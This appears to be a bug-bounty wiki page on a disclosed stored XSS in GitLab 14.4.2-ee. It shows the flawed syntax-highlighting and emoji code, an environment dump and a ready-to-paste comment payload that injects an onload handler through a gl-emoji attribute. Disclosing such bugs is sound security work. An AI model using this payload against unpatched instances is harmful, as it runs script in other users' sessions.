Stored XSS on issue comments and other pages which contain notes
Two sanitisation bypasses let an attacker inject script into issue comments: a server-side syntax highlighting filter builds HTML from unsanitised attributes, and a frontend emoji custom element inserts its name attribute into an image tag without escaping. An attacker who can comment could run script in the browser of anyone viewing the issue or snippet.
- Triaged in 4 days
- Fixed in 2 months
- Paid in 4 days
- Disclosed after 7 months
Summary
This report contains two XSS sanitization bypasses:
- The SyntaxHighlightFilter creates html from unsanitized data. This can be used to bypass the XSS filter on the server-side.
def highlight_node(node)
...
sourcepos = node.parent.attr('data-sourcepos')
...
sourcepos_attr = sourcepos ? "data-sourcepos=\"#{sourcepos}\"" : ""
highlighted = %(<pre #{sourcepos_attr} class="#{css_classes}"
lang="#{language}"
#{lang_params}
v-pre="true"><code>#{code}</code></pre>)
- The gl-emoji custom element can be used to bypass the gitlab-ui
v-safe-htmldirective sanitization on the frontend side by injecting the payload into the name attribute:
export function emojiImageTag(name, src) {
return `{{media:1}}`;
}
- Gitlab SaaS is not vulnerable because this report does not include CSP bypass. I'm currently working on this.
Steps to reproduce
- Launch self-managed Gitlab instance
- Create issue
- Copy and paste the following payload into the comment field:
<pre data-sourcepos="" href="x"></pre>
<gl-emoji data-name='"x="y" onload="alert(document.location.href)"' data-unicode-version='x'>
abc
</gl-emoji>
<pre x="">
<code></code></pre>
Results of GitLab environment info
# gitlab-rake gitlab:env:info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.4p191
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.0.16
Git Version: 2.33.0.
Sidekiq Version:6.2.2
Go Version: unknown
GitLab information
Version: 14.4.2-ee
Revision: 84aa6daaffd
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.7
URL: http://localhost:8888
HTTP Clone URL: http://localhost:8888/some-group/some-project.git
SSH Clone URL: git@localhost:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.21.1
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Attacker who can comment on issue will be able to XSS users that visit that issue. This also affects other pages where comments can be posted, such as snippets.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker able to comment could run script for users who view the issue or other pages with comments, though GitLab SaaS is not affected because the report does not include a CSP bypass.
What the attacker needed
Self-managed GitLab instance; ability to post a comment; victim views the issue or snippet
How it was found
- Launch a self-managed GitLab instance
- Create an issue
- Paste the crafted markup into the comment field
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a site shows user comments, it normally cleans the text so that hidden code cannot run in a visitor's browser. Here two parts of that cleaning failed: one on the server that builds highlighted code blocks, and one in the browser that draws emoji. As a result, a commenter could make code run for anyone who opened the page.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.